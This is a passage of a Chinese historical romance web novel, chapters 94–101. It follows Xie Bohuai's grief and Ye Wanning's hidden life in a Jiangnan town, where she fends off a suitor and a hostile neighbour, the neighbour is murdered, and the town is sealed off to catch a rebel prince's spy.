司砚看着主子叹气,“三爷,以孙浩的胆子,他可能真的没有隐瞒。”但是主子这三年里,却不肯放过孙浩,也不肯放过他自己,甚至在叶姑娘下葬那天,亲手把叶姑娘的棺椁给挖了出来。 第94章 小胖孩 “三爷?”司砚只敢说到这里了,三年前主子就和谢家断绝关系,为了这个事,京城的人都在说主子不孝,老爷为了这个事,到了他们的宅院破口大骂。 那段时间,主子不笑,也不和人说话。每天就是镇府司与宫里,不管是谁,主子都不会多说一句话。 他们谁都想不到,叶姑娘就这么死了,更想不到,主子会如此地执着。 谢泊淮还是站在黑暗处,直到折竹出来,他才回到天牢,他仿佛很厌恶现在的阳光。 折竹和司砚到了天牢外,这已经是每个月约定俗成的事,明明那么好的太阳,孙浩只能从黑暗中窥探星零散散。 “你说大人怎么还不放弃?”折竹叹了口气,“明明叶家人都放弃了,他却还那么执着,叶姑娘已经成了一堆白骨了。” 司砚和他摇摇头,示意他别说了,“大人有大人的心事,我们就别多说什么了。人若是没点执念,也就活不下去了。” 他看得比其他人更明白一点,主子就是有这份执念,才能一直坚持着。一旦执念得到解脱,也就彻底想死了。 折竹明白了,“哎。” “你倒是比青山更多感叹,他那一根筋都会说,只要跟着主子一天,就护着主子一天,至于其他的事,没必要多想。大不了,咱们最后和那些人拼个死活,拉上一个是一个。”司砚抬头去看,几只雀儿飞过头顶,即将落下的时候,突然被一只老鹰抓走一走,他看得有趣,不管是动物,还是他们,不都是弱肉强食。主子选了他们,那就跟着主子干到底,早死晚死,也没什么差别。 折竹也跟着司砚去看,直到主子出来,他们才离开。 谢泊淮刚出天牢,就遇到了叶明岳,自从谢泊淮挖出叶婉宁的棺椁后,两个人也此打了一架,就再也不说话了。 现在又遇到,叶明岳突然喊了句,“谢泊淮,我还是想不明白,如果当年你对婉宁有心,你为什么……为什么还要让她受此羞辱?” 谢泊淮转身去看叶明岳,“我不信。” “你凭什么不信?”叶明岳冲过去,瞪着谢泊淮,“你知道因为你这个事,婉宁死后遭受了多少非议吗?” 世人都恨谢泊淮,连带着也对叶婉宁也没好话。那日叶婉宁下葬,来了诸多的达官贵人,结果谢泊淮谁也不管,当着那么多人的面,非要发疯。 众人一开始还奇怪谢泊淮在做什么,直到谢泊淮跪在叶婉宁的棺椁前,才有人反应过来,原来谢泊淮对叶婉宁有心。 谁都想不到,看不上任何的人,口中念着的心上人竟然是叶婉宁。 就是叶婉宁活着的时候,都不见谢泊淮对叶婉宁有什么举动,明明叶婉宁也退婚了,谢泊淮却没去提亲。也有人会想,谢泊淮是不是私底下就和叶婉宁有了首尾,所以叶婉宁才非要和周钰退亲。 总而言之,说什么的都有。 为了这个事,叶明岳和谢泊淮狠狠打了一架,不过谢泊淮并没有还手,单方面被叶明岳殴打。 这么些年,每年叶婉宁的忌日,叶明岳都不许谢泊淮去。 刚刚叶明岳又听到有人在谈论这件事,所以再也忍不住,他看着谢泊淮没有表情的脸,很想打一拳。 “算了,和你这种人没什么好说的,从前是我看错了人,才会以为你是个不错的人。”叶明岳说着要走。 谢泊淮突然开口,“叶明岳,你……你最近收一收。” “收什么?”叶明岳没听明白,但谢泊淮已经上马走了。 司砚过来小声道,“叶二爷,您的生意已经遍布全国,现在谁都知道叶家商队,但树大招风,特别是一些时候。我们大人……是好心,您别怪他,他也不容易。” 这些年,主子说话都这样,很多时候都是司砚帮忙解释两句。 “谁要他的假好心!”叶明岳哼了一声,转身归家去了,马上就是婉宁的忌日,家中的气氛又很低沉。 哎。想到妹妹,叶明岳心头堵塞。 与此同时,在江南的某一个小城里,院子里有个白白嫩嫩的小孩儿,正踮着脚想摘茶花。 “云姨姨,你抱我!我要摘上面最漂亮的给娘亲!” 小孩儿肉嘟嘟的,蹦着跳了几次,却怎么都够不到,还差点摔倒。 云芝看小孩儿还在蹦,紧张地从屋里跑出来,“我的小乖乖,你怎么自个儿跑出来了?快跟我回去,不然你又要被骂了。” “不嘛不嘛,我要摘茶花给娘亲!”小胖孩用力摇头,缠着云芝非要给他摘茶花。 第95章 赵川 云芝宠溺地摇摇头,叹息过后,还是抱着乐哥儿去摘茶花,“够到了吗?” “嗯呐。”叶承乐摘到茶花,开心地笑弯了眼睛,“云姨姨你真好,我要把茶花送给娘亲!” 院子里的这棵渐变水红色茶花,从他们搬过来时,就开得非常好,每次开了花,叶承乐都要摘。 “您慢点,别摔倒了。”云芝不放心,只好暂且放下手里的事跟着去。 宅院不大,只有二进,叶承乐跑起来时,脸上的肉一抖一抖地,等进了正屋,迫不及待地举着茶花,“母亲母亲你快看,今儿这朵是最好的!” 叶婉宁坐在屋里看书,瞧见儿子又摘了茶花,她无奈摇头,“不是不让你摘了么,它好端端地长在树上,你摘下来,过两天便枯萎了。” 看着昨天已经不新鲜的那一朵,叶婉宁心想那棵茶花再过几天就要秃了。 “我想给母亲摘嘛。”叶承乐扭着圆滚滚的屁股爬上软榻,换下昨天那一朵,再凑到母亲跟前,撒娇似地蹭蹭,“母亲陪我玩好不好,您别看书了,书有什么好看的,您和我一块儿出去玩。” 自从元宵出门过一次,叶承乐就爱上出门,总是缠着要出门。 但叶婉宁并不喜欢出门,她大部分时间都是在家中种花看书,外边越来越乱了,她出门次数多,就越容易暴露。 三年来,她一直过得小心翼翼。 被乐哥儿缠得没办法,叶婉宁只好叫来春喜,让她带着乐哥儿去巷子口买一串糖葫芦,“吃了糖葫芦就不能贪玩了哦,今日你还没读书,待会来跟着我读书。” 春喜是叶婉宁路上捡的流民,一起的还有春喜的弟弟,那会叶婉宁已经生下乐哥儿,正在搬家的途中。故而在春喜姐弟看来,叶婉宁只是个投奔亲戚的妇人,奈何亲戚也逃难去了,不得不在这里安家落户。 有了春喜姐弟,叶婉宁便不用去买人了,云芝负责厨房的事,春喜则是洒扫浆洗之类的活,春喜的弟弟则是外出跑腿,男子出门总是方便一点。 春喜笑着去牵乐哥儿,“乐哥儿跟我走吧。” 叶承乐乖乖地牵着春喜,“母亲我走了哦,待会我就来陪您读书。” “好好好,是陪我读书。”叶婉宁看着儿子离开后,云芝端来了燕窝,“云芝,你说我是不是太宠乐哥儿了点?” 她总想着,自己幼时被管着学了太多的东西,现在轮到乐哥儿,不要太拘束了他。当初取名承乐,就是希望儿子能平安喜乐一辈子,她并没有其他的指望了。 什么考取状元,建功立业,她都不期待,甚至不想乐哥儿走科举的路。不然日后去了京城,岂不是会碰到那么多熟人? 想到京城,叶婉宁又叹气起来。 “夫人是疼爱乐哥儿,但您还是在规范他的品行,乐哥儿年纪小,喜欢玩是正常,您不用太担心。”云芝催主子吃了燕窝,三年来,主子睡眠不太好,还是会时不时担心京城里的事。 叶婉宁吃了一半,就没胃口了。 当初带来的银钱,足够他们几个荣华富贵一辈子,但树大招风,叶婉宁并不想被人盯上,故而搬了几次家之后,在江南水乡里买了一处小宅院。 宅院虽小,却精致宁静,除了前些日子新搬来的邻居,不然是个非常好的地方。 叶婉宁还在城里买下一处商铺,现在租给别人凯米粮店,每次都是春喜他们去收租,至今无人见过叶婉宁。 除了一些邻居,偶尔叶婉宁会出门,不小心被他们碰见。 有了铺面,也就能解释他们为何有银钱生活,日子就这么平平淡淡地过着。 她的日子没有波澜,但京城里却是发生了翻天覆地的变化,从废太子,到惠王就蕃,各种消息传来,每次叶婉宁都会忍不住想,会不会牵连叶家,隆玉公主又怎么样了? 这里离京城十万八千里,有时候消息传过来,已经是大半个月的事,叶婉宁什么都做不了,只能在心里默默祈祷,叶家和隆玉公主能平安顺遂。 “随着他大了点,人也闹腾起来,罢了,由着他吧。谁让他一和我哭,我就忍不住心软。”当初生乐哥儿的时候,叶婉宁是九死一生,身边就云芝一个人,夜里突然有了动静,还下了大雨,云芝跑去找稳婆,结果稳婆去了别家。还好隔壁的邻居是个有经验的妇人,帮着接生,不然很可能一尸两命。 艰难生下的孩子,只要他品行好,其他的,叶婉宁不强求了。 “乐哥儿还小,他的事不着急,您还是先把燕窝喝完,别浪费了。”云芝催着主子,“您现在忧思太过,大夫都说了,让您放宽心,别想太多了。” “你啊,我也拿你没办法。”叶婉宁听话喝完燕窝,看着今日的天不错,正准备和云芝去院子里走走,有人来敲门。 听到敲门声,云芝微微皱眉,开门果然看到了附近住的赵公子。 这位赵公子无父无母,靠着祖上留下来的家业,已经考取了举人的功名。人也生得白净俊秀,城里不少媒婆都想给他说亲事,全都被他给拒绝了。 原因无他,自从叶婉宁一次出门,风吹起她的帷帽,赵公子就一见倾心,时不时就来送点东西。 “小生今日去湖边钓了鱼,这条鲫鱼最肥,云芝姑娘拿去炖汤了正好。”赵川提起手里的鲫鱼,笑容温和,过去的大半年里,不管云芝和叶婉宁怎么拒绝,他还是雷打不动地上门送东西,被怼了也不恼怒,每次都是放下东西才肯走。 “赵公子,你怎么又来了?”云芝没好气道,“我不是和你说过了吗,我们家夫人没有改嫁的心思,你走吧,再这样纠缠,我们真的要报官了。” “窈窕淑女,君子好逑。云芝姑娘何必说得那么绝对,我对你家夫人的心思日月可鉴,我送我的东西,你们拒绝你们的,并不妨事。这些日子,我也不曾强行要见你夫人一面,云芝姑娘就体谅体谅我的一片痴心,收下我的鲫鱼吧。”赵川还是保持着笑容,递过去鲫鱼。 云芝说不过赵川,咬着牙道,“你好歹是个读书人,怎么这般没皮没脸?” 若是赵川态度差点,她还可以骂回去,或者真的去报官。现在这样,就算报官,人家都不曾踏进门,县衙的老爷怎会打赵川板子? 况且赵川已经是举人哦,明年开春便要去京城参加春闱,若是考中进士,便可入朝为官。这样的人物,县太爷更不会得罪。 第96章 极品陈婆子 “云芝姑娘此言差矣,小生只是追求自己心仪的姑娘,算不上没皮没脸。”赵川还是笑盈盈的,“前些日子,听春喜和人说,你家夫人气色不太好,我这才特意钓的鲫鱼。昨儿个就去了,在江边待了一晚上,总算钓到这条肥的。辛苦云芝姑娘帮忙炖个汤,给你家夫人补一补。” 若不是从小的素养在控制,云芝已经拿扫把赶人了,“赵公子,你这样别人看到了,别人又要说三道四。算我求求你了好么,你都是要去考进士的人了,可不可以上进一点,专心读书,别来我们家耽误时间了。” “读书的事,还是很容易的,我每次都是一次过,先生说了,以我的才学考中进士不难。多谢云芝姑娘的担心,我肯定能高中进士,让你家夫人得个诰命。”赵川非常地自信。 云芝说不过了,干脆关了门。 结果赵川不死心,又敲了敲门。云芝苦着脸问主子怎么办,“之前我们不扯下脸面,他却一直纠缠,实在是让人头疼。” “你去把他的鲫鱼,丢河里去。”叶婉宁道,“以前想着把人得罪了不好,现在看来,不狠一点,他不会死心。” 叶婉宁没有嫁人的心思,对赵川这种白净书生更喜欢不起来,毕竟有过一个周钰,她已经吃过读书人的亏了。 云芝按照主子说的,接过了赵川的鲫鱼,没等赵川高兴,云芝提着鲫鱼往外走。 “云芝姑娘,你去哪里啊?”赵川追了上去,看到云芝把鲫鱼丢进溪水里,他还是没生气,跟着云芝又回来,“实在是可惜了,多肥的一条鲫鱼。是不是你家夫人不喜欢吃鲫鱼,故而让你丢了?不如你和我说说,她到底喜欢什么,我去找她喜欢的?” “赵公子。”叶婉宁带着帷帽到门口,“都说寡妇门前是非多,你若是真想我好,就请别再来纠缠了。你不过是见了我一面,便说心悦我,你了解我吗?” “我……” “你知道我是什么性格,喜欢什么,讨厌什么吗?你都不知道。你只是喜欢上我的容貌,这样是不是显得你太肤浅了?”叶婉宁知道叶婉宁打发不了赵川,只好自己出来了。 赵川确实不了解叶婉宁,可对叶婉宁的匆匆一瞥,就足够让他魂牵梦绕,“叶夫人,我承认是我肤浅了,可没有你的允许,我就请媒人来提亲,那才是真的唐突。我并不在意繁文缛节的事,我只知道,我对你是一见倾心。” 如此直白的话,听得云芝都想去拿棍棒了,这要是在京城大户人家,早就把赵川给打得起不来。奈何她们都是女子,不好动手。 叶婉宁也是没见过这么会痴缠的男子,她沉声道,“可我不喜欢,所以能请你别再来了吗?” 听到这话,赵川眼中是明显地受伤,他愣住好一会儿,才点点头,“是我打扰了你,这段日子给你添麻烦了。不过我对夫人的心思日月可鉴,绝对没有任何虚情假意,日后夫人有什么需要,还是可以来找我。” 赵川很难过地走了,看他离开,叶婉宁松了口气,话说得狠了点,也是没办法的事。 她正准备回去时,斜对门的人家突然开了门,出来一个老妪。 陈婆子冲着叶婉宁这个方向泼泔水,“真是世风日下啊,不知道的还以为是什么绝世容貌,大白天的还要戴着帷帽。真把自己当三根葱了?” “你怎么说话呢?”云芝瞪着眉。 陈婆子一家是刚搬来的,刚住下来,陈婆子就看上赵川,想把女儿嫁给赵川,找了媒人去说亲,结果赵川直接把人给拒绝了。陈婆子怀恨在心,发现赵川对叶婉宁的心思后,没少和人诋毁叶婉宁。 不过叶婉宁平常很少出门,大家都没怎么见过叶婉宁,听陈婆子说叶婉宁勾搭男人,他们只是半信半疑。 本来叶婉宁平淡的日子,被陈婆子弄得又陷入流言蜚语,她都动了搬家的念头。只是最近边境不太平,附近还有匪盗作乱,一时间想不到可以搬去哪里。 “我就这样说话,怎么了?”陈婆子是市井出生,年轻时还要上街卖货,吵架起来那叫一个泼辣,根本不在乎教养那些,“你们都勾搭男人,还不准我说话了?呦呵,这条街是你们修的么,还是说你们是皇亲贵戚,能管到我说话上?” 云芝今天第二次说不过人了,她眼眶都气红了,就差掉眼泪。 叶婉宁也没见过陈婆子这种泼妇,一时间,想不到话来回怼。 陈婆子则是叉着腰,一只手指着叶婉宁,“怎么不说话了?呵呵,你要真有本事,就真让老娘闭嘴。没那个本事啊,就别管老娘爱说什么。我今天还就要说了,放着好好的寡妇不当,非要出来招摇什么?看看你这一身穿的,花里胡哨的,真要是收了心的寡妇,谁会这样穿?” “你……你是坏人!”买糖葫芦回来的叶承乐冲了过来,捡起地上的石头砸了过去,“不许你欺负我母亲!” 小家伙颇有气势,挡在母亲前面,气鼓鼓地瞪着陈婆子。 小孩儿力气没多大,石子砸在陈婆子身上并不疼,但他动了手,陈婆子就不行了,坐在地上大哭大闹,“大家伙快来看啊,这家人要把我欺负死了,连小屁孩都敢拿石子丢我,真是无法无天了!” 眼看着陈婆子嚎啕得越来越大声,叶婉宁实在是受不了,“你要是再闹,不如我们去县太爷那,看看是我儿丢你一颗小石子严重,还是你背后乱传我流言厉害?据我所知,你这样的行为,到了府衙,是要被竹板打二十下脸的。” “你少吓唬我,我才不怕。”话虽然这么说,陈婆子还是麻利地爬起来,拍拍衣裳,往家去了,“老娘又不是被吓大的,今日暂且放过你们,以后再找你们算账!” 第97章 死了 陈婆子骂咧咧地回去,“什么东西啊?真把自己当一回事,家里连个成年男人都没有,还一天到晚骚里骚气,我看他们迟早要完蛋。” “你怎么一天到晚的找事?”陈老头正在抽旱烟,“人家又没惹你,一天到晚的去吵架,被邻居听到了,好听吗?没了一个赵川,这县城里面还有那么多的男子,咱们闺女又不是非得要嫁给赵川。” 他就想不明白了,以前他这个老婆子就天天跟人干架,要不是因为得罪了里正,也不会搬到这里来。 陈婆子撇嘴道,“什么叫非要嫁给赵川,你难道不知道,整个县城里的举人老爷有几个,一个巴掌都数得过来,赵川却是最年轻的,那些媒婆都快把赵家的门槛给踏破了。” 在陈婆子看来,赵川是个非常好的女婿,没有爹娘,家底又丰厚。女儿嫁过去立马可以当家作主,还能当个官太太,多少气派。 但赵川是个没眼光的,非看上了那种狐媚子,不懂得他们这种踏实人家的好处。 陈老头无奈道,“你看得上人家,但他看不上你,你热脸去贴人家的冷屁股有什么用。人家叶夫人大门不出二门不迈,又没主动招惹你什么,你一天到晚的去吵,你以为别人会说你好话吗?传到那些大户人家耳朵里,要知道闺女有你这么个泼辣的母亲,谁还敢娶咱们闺女?” “我怎么泼辣了,我这都是为了咱们家好!”陈婆子非常不服气,抢过陈老头手中的旱烟一把丢了,“抽抽抽,就知道抽这个,你怎么不抽死了呢。以前在村里的时候你就这样,遇到什么事就当缩头乌龟,要不是我能够顶事,咱们家能过上现在的好日子吗?” 要说他们家的日子,确实在村里算数一数二,早些年陈老头当货郎时,只能挣到勉强温饱的钱。 后来陈婆够泼辣,分家的时候硬是多分了几亩地,她又是个会算计的,把地租给别人种,自己带着儿媳们给城里的绸缎庄做手工挣钱,挣到了钱,她又立马去买地。 在地便宜的时候,她一共买了几十亩的地,渐渐地家里也就发达起来。 如今家里的地都是佃农在种,她每年去收个租,剩下的日子舒舒服服,什么都不用做,还买了个小丫头在家里做事。 不过日子好了,总会遭人嫉妒。村里的里正看他家地多,想让陈婆子转卖一些给他,但陈婆子哪里是好说话的人,当即和里正打了起来。 他们这么一闹,在村里也就待不下去,想了想,陈婆子干脆到县城买了这处宅院。 结果刚到城里就看到赵川,得知赵川已经中举,且才学是远近闻名的好,陈婆子立马动了心,想把女儿嫁过去。 看陈老头不说话,陈婆子哼了哼,“我告诉你,你离斜对门那个叶寡妇远一点,咱家的日子是好过了一点,但你要是敢动心思娶二房或者在外面养女人,老娘第一个和你没完!” 陈老头说他哪里有那个本事,不过是说几句公道话。 罢了罢了,他和家里这个老婆子没什么好说的,捡起地上的旱烟,出门找人喝酒去。 家里没有事做,又不用下地务农,陈老头的日子无聊起来,便爱喝点酒。 他到酒馆里时,正好遇到两个穿着官服的人,得知是京城里来的人后,他只敢匆匆看几眼,压着嗓子问,“京城里的人怎么会到这里来,咱们这离京城可远了,是又有什么事情吗?” “听说是找人,但具体是找什么人,咱也不知道。不过你可别多话,我听店小二说他们是镇府司的人。” 一听到镇府司三个字,陈老头手都在抖。 虽然他们离京城远,但镇府司指挥使谢泊淮的名声,谁没听说过呢? 那可是一位手握重权,杀人不眨眼的主! 陈老头默默喝酒,感觉嘴里都没了味,等他打算要走的时候,看到县太爷笑盈盈的去跟那几位官爷陪笑,陈老头心想镇府司的名头果然厉害,连县太爷都要笑脸相迎。 而这会儿镇府司的两位差爷听县太爷的邀请,对视一眼,算是答应了。 “寒舍虽然简陋,但总比客栈要好一点。既然两位肯给面子,咱们请吧,我已经准备好了薄酒佳肴。”县太爷奉承地做着请的手势,镇府司的人能到他的地界,肯定要好好招待着。若是能得他们说一两句好话,指不定他的前程就大了。 等下县太爷要带走那两位官爷,在场的各位不约而同地松一口气,陈老头才敢继续喝酒。 而镇府司的人到了县城的消息,很快也传到叶婉宁耳朵里。 “他们怎么会来这里?”云芝关起门来,屋里只有她和主子,听到这个消息时,她慌的手都在抖,“就算是京城里的事情,也不应该到这个小县城来查?” 叶婉宁也觉得奇怪,她已经打听过县城的情况,没有什么皇亲贵戚,更不是什么一品大员的老家,才会挑了个这么地方。 “你别着急,别让人看出端倪来。自从搬来这里,我都是深居简出,既然来了镇府司的人,总是有他们的事要办,不可能查到我这里,不要自己吓自己。”叶婉宁宽慰道。 如果京城的人知道她没死,那哥哥们肯定会派人各地找她,而不是镇府司的人在找她。 她与谢泊淮,又算不上什么深交的关系,就算知道她死了,谢泊淮应该也不会太难过吧? 更别说派了满世界的找她了? 云芝深呼吸,“您说的也是,那这些日子咱们先不出去了,乐哥儿也拘在家中读书,反正买菜那些都有春喜他们干。” 叶婉宁也觉得小心为主,这些年她谁都不敢联系,就像隆玉公主说的一样,只要他们有联系,不管是再小心、再谨慎,还是会被人查到蛛丝马迹。 叶婉宁是真的不清楚京城的情况,有些消息从京城传到这里早已经变了味,不知道是真是假。 但她知道京城的情况一定很乱,现在也只能等着,她连打探消息都不敢。毕竟让春喜去打探消息,春喜也会觉得很奇怪,好端端的,好奇这个干嘛。 叶婉宁想着过个几日就会好了,结果没两天,陈婆子被发现死在巷子里,还是被人割喉杀的。 第98章 绝世容貌 陈婆子死的巷子,就在叶婉宁他们住的地方附近,隔了两条街而已。 县城里许久没有过这种命案,一时间,人心惶惶。 陈家和叶家又挨得近,那日陈婆子和叶婉宁吵架,好些人都有听到,县太爷带着人来叶家敲门时,叶婉宁已经预料到会有这个结果。 “你家夫人呢,让她出来说话。”县太爷看到只有云芝出来,眉头微皱,听人说和陈婆子吵架的不仅有云芝,还有叶寡妇。不过这个云芝倒是有几分姿色,就是不知道叶寡妇是什么长相。 云芝有些为难,给县太爷塞了一张银票,“我家夫人胆小得很,您有什么事尽管问我,我肯定会知无不言。” 听云芝开口谈吐很不一样,县太爷很是意外,“有些事还是请你家夫人出来说个清楚才好,别等得人不耐烦,到本官把她压到衙门去时,上了板子可就不好看了。” “别,您先问,问完之后您有什么不懂的,再让夫人来跟您说。”云芝心中暗道倒霉,不曾想会遇到这种事情。 就算他们再讨厌陈婆子,也不会冒着那么大的风险去杀人。 指不定是陈婆子那厮得罪了太多的,人才会遇到仇杀,据说陈婆子身上的银钱都在,这么看来不是抢劫。 县太爷收了云芝的银票,这会儿语气变好,“行吧,那你就说说那日到底什么情况?” 云芝说了怎么回事,“其实就是邻里之间的拌嘴,但我家夫人向来低调,又比较宽容,并没有把陈婆子的事放在心上。您是个青天大老爷,肯定能明明白我们的。” “我看你这样子,也确实不像是会杀人的,只是本官要查个清楚,还是请你夫人出来说句话吧,不要耽搁本官的时间,免得耽误调查。”县太爷总要想法子结案,不管是谁杀的,总要有一个结果,这和他的政绩有关。 县太爷等人站在院子里,门是开着的,外边聚拢了不少的看热闹的人。 好些都是附近的邻居,他们大部分没有见过叶婉宁长什么样,不由开始好奇,为什么这个叶寡妇推三阻四的不肯出来。 按理来说,到了这个时候应该快些出来自证清白。 但也有见过叶婉宁的人,心想叶婉宁的容貌若是被这些人看到,怕是会有更多的麻烦,本来寡妇门前就是非多,这位叶寡妇又是个绝世美人,到时候哪里有安宁的日子过。 可县太爷已经这么说了,叶婉宁不得不出来。 “云芝,你不要为难县太爷,他也是按规矩办事。”当叶婉宁从屋里走出来的这一刻,所有人都屏住了呼吸。 饶是县太爷见过多一些的世面,在见到叶婉宁出来的时候,一双眼睛都挪不开。 这时有人惊叹道,“难怪赵举人对他念念不忘,这般的容貌就是画中的人都比不上她的万分之一。” “是啊,如此的绝世美人,我还是第一次见到。我看陈婆子就是嫉妒她,才一次次的找麻烦,这样的美人怎么可能会杀人,你看她的那双手,说是纤纤玉手也不为过,怎么可能会拿刀呢?” “我也觉得不可能是她,那个叫云芝的就更不可能了,看着很是胆小的样子。我是见过陈婆子的,她长了个五大三粗的样子,就是云芝加上叶寡妇两个人上,都不可能是陈婆子的对手。” …… 大家一人一句,纷纷站在了叶婉宁这边。那些男人更是看得挪不开眼。若是早知道叶寡妇长得如此貌美,他们肯定会想办法一亲芳泽。 连县太爷也是这样的想法,他竟然不知在他的地界上,竟然有位这么漂亮的寡妇, “你……你就是叶寡妇吗?”县太爷看着叶婉宁挪不开呀,下意识地在咽口水了。 叶婉宁说是,“刚才您与云芝说的话,我都听得一清二楚。您是我们的父母官,肯定不会冤枉任何一个好人。我与陈婆子只是有过一些龌龊,但还不至于到杀人的地步,而且您也看到了,我们不过是一些手无缚鸡之力的弱女子,哪里敢拿刀杀人呢?” “这倒也是,看你们的样子就不像是会杀人的。”县太爷心中已经有了偏向,“不过该查的还是要查,还请你不要介意?” “自然,我这小院就这么大,这些日子我也没有出过门,大家都是可以做见证的,您尽管搜。”叶婉宁侧身让开,不怕被搜。 县太爷回头看了捕快门,捕快门便进屋开始搜查,片刻过后,确实没有找到可疑的东西。 临走前,县太爷往前走了几步,“你孤身一人在此定居,实在是不容易,日后若是有什么困难,尽管来找我。就像你说的一样,我是这里的父母官,县城的事都得由我说了算。” 听到这话,叶婉宁便懂了县太爷的暗示。 她与云芝前几次的搬家,都是因为类似的事情,绝世的容貌在世家大族里是锦上添花,但是对于寻常百姓来说,那就是负担了。 叶婉宁本不想出面,可是没有办法,谁让陈婆子死得那么蹊跷。 现在被县太爷盯上了,她知道又该搬家了。 只是陈婆子该刚刚死,她若是就这样搬家,便显得她心虚。 赵川还好打发一点,毕竟赵川还没中举,如果他敢做什么,大可以去告他个行为不端,坏了他的科举之路。 可是像县太爷这种当地的父母官,就像县太爷说的一样,县城里的事就没有他不能做主的。 越想,叶婉宁就越头疼。 看着县太爷一行走后,斜对面的陈家又传来哀乐,今早陈家的两个儿子来敲过门,放了狠话说若是他们做的,必定不叫他们好看。 叶婉宁无声的叹了一口气,让云芝关了门,愁了半天,傍晚时一个小乞儿上了门,说有位公子给她一封信。 第99章 封城 信是赵川让人送来的,说叶婉宁有困难,还是可以找他帮忙,切记不要太相信县太爷的话。 叶婉宁看完信就烧了,“春喜,你们这几日,都不要出去了,家里有什么就吃什么。” “夫人,咱们是不是有大麻烦了?”春喜问。 叶婉宁说可能是,“你去准备准备,有什么要带的东西,全部都带着,不要带太多东西,方便出行才好。” 春喜看叶婉宁很焦虑,心里也害怕起来,赶忙去收拾东西。 叶婉宁又去交代云芝,“若是有什么事,咱们分开行动。你带着乐哥儿走,一路往京城去。”她有隆玉公主给的玉佩,到了万不得已的时候,只能用上了。 “夫人,咱们真会到那一步吗?”云芝并不想看到那个局面,好不容易有安定一点的日子,全被陈婆子给毁了。 云芝恨死陈婆子了,觉得这人死了也不生,还给人带来那么大的麻烦。如果陈婆子平日不找他们麻烦,府衙的人也不会盯上他们。 “陈婆子就是个祸害!”云芝愤愤说了句,才去收拾东西。 此时的县太爷,还在查陈婆子的死因,却又看到了镇府司的人,惊得差点说不出话来,“两位爷怎么又回来了?” “我们来看看,人怎么死的。”他们让县太爷带着他们去查看尸体。 等看完后,两人皱眉思索。 县太爷在一旁道,“我们这小县城,一直都很太平,多少年没有这种事了。不知道是哪里的盗贼,突然窜了出来。” “这可不是普通盗贼能弄出来的伤口,一刀毙命,一看就是训练有素的侍卫。”一人道,“你这小县城,还真是人才济济,通知城里的军士,现在就封锁县城。若是抓到逆贼,你可是大功一件。” 什么逆贼? 县太爷没听明白,又有什么大功? “惠王贼心不死,收下探子逃到了附近,我这么说你明白了吧?” 县太爷立马点头,“明白,我全都明白了,立马让人封锁县城!” 惠王的封地就在百里之外,若是惠王的人流窜到此地,确实有这个可能。 县太爷想到要立功了,瞬间兴奋起来,这可是老天爷送上门的机会,多不容易! 县太爷当即下令封锁全城,消息传了出去,城中更是人人自危,不知道发生了什么,反而更让人害怕。 叶婉宁得知封城后,心里就有个不好的预感,总感觉城里要出大事了。 而杀了陈婆子的那个探子,正翻进赵家的院子。 赵川的小厮正在劝他,“人家都不搭理您,怕被人误会,还特意找了个小乞丐送去。您就别想了吧,等您高中进士,娶世家女都可以,更别说是一个寡妇了。” “小海,你不懂。”赵川还沉浸在叶婉宁的惊鸿一瞥中,“世家女多不胜数,但我就爱叶夫人这种。人啊,多难得遇到一个喜欢的。我相信精诚所至金石为开,总有一天,我会感动她的。” “您怎么就不听劝呢?”小海是真的不理解,“若是老爷夫人还在,一定会被您气死。” “那他们这不是不在了,总不能被我气活过来,那倒是好事。”赵川叹了口气,看天都黑了,却还没有回信,心里有些失落,“罢了,她为了避嫌,不肯来找我帮忙,我们帮她盯着点,县太爷可不是什么好人。” 在他为情所困时,不知道府里多了一个人,直到夜里有人敲门,小海去开门,他的脖子上突然出现一把刀。 “别动,听我说的做,不然我杀了你!” “兄台,那你动手吧,正好我去陪我爹娘。得不到心上人的喜欢,我现下生不如死。” “……” 第100章 眼熟 男人都无语了,这到底是个什么样的人,他手里的刀都割破对方的皮肤,他却一点也不害怕。 “你再不动手,可就迟了。”赵川突然道。 “迟什么?” “哎,你这样的,怎么当探子啊?”赵川有些失望,他仰起头去看对方,“让我猜猜,你是谁的人,惠王的吗?你紧张了,原来真的是惠王的人。你知不知道,我是谁?” 看男人沉默,赵川突然笑了下,“我是举人老爷,你杀了个陈阿婆没什么事,但是你杀了我不一样。到时候连累你主子,怕是很快就查过去。” 举人身份地位不一样,是可以拿俸禄的了,一旦举人老爷死了,县太爷怎么样也要给个结果。 就在男人恍惚间,已经有人进了院子,他让赵川带着他跑。 “家里有个地窖,你带着我去躲起来,应该找不到的。”赵川说着,带男人从小门去了侧院,推开柜子,看到了地窖的门,“你进去吧,如果我不在,他们肯定会怀疑。” “不行。万一你出卖我怎么办?” “那你只能赌一把,不然谁来推柜子呢?地窖暴露,你一样是死,还不如赌一下,看我愿不愿意帮你。你也知道,城里到处都在找你,一旦你被抓到镇府司去,会生不如死。”赵川道。 男人想了想,对赵川行礼,“放才是我多有得罪,若是公子愿意帮忙,日后王爷成事,一定会有公子的好前程!”他一定要活着回去,有非常重要的事和网页禀告。 赵川笑眯眯地看着男人进了地窖,推上柜子,走出侧卧的瞬间,便把男人出卖了,“几位军爷,我知道你们要找的人在哪里。他刚刚逼着我帮他,你们看我脖子,差点就死了,你们快跟我来,我把他骗到地窖里了。” 等男人被官兵们带出来,看着赵川怒吼,“你个不讲信用的小人,你会有报应的!” “我答应你了吗?”赵川摇摇头,这人还真是蠢。 他跟着士兵们去了府衙,连夜的审讯过后,等天大亮了才出府衙。 在路边吃了碗馄饨,赵川自个儿去了叶婉宁家,等云芝看到他时,当即想关门。 “赵公子,你还觉得不够乱吗?”云芝看到赵川就来气,“要不是因为你,我们家会惹上陈婆子?” “云芝姑娘别生气,杀害陈婆子的人已经抓到,我是来让你家夫人安心的。还有,我确实影响到你们名声,既然如此,我是愿意负责的。”赵川笑盈盈地把买来的点心递过去,“这是我的一点心意,还请云芝姑娘代为收下。” 面对赵川,云芝都要一忍再忍,“赵公子,我家夫人不用你的点心。”主子说得对,还是要搬家,不能再待了。 “这很难买的,你就帮忙我说两句话呗。”赵川坚持道,“我是真心真意的,我家无父无母,婚姻大事都由我自己做主,若是你家夫人嫁给我,谁也不能给她委屈受,多好的事。” 不然寡妇二嫁,总要被人挑剔。 云芝被缠得不耐烦,直接道,“你再多话,我们就去府衙告你了!” 说着,她用力关了门。 只是关门的瞬间,镇府司那两位差爷正好经过,一人瞧着云芝有些眼熟。 第101章 亡夫 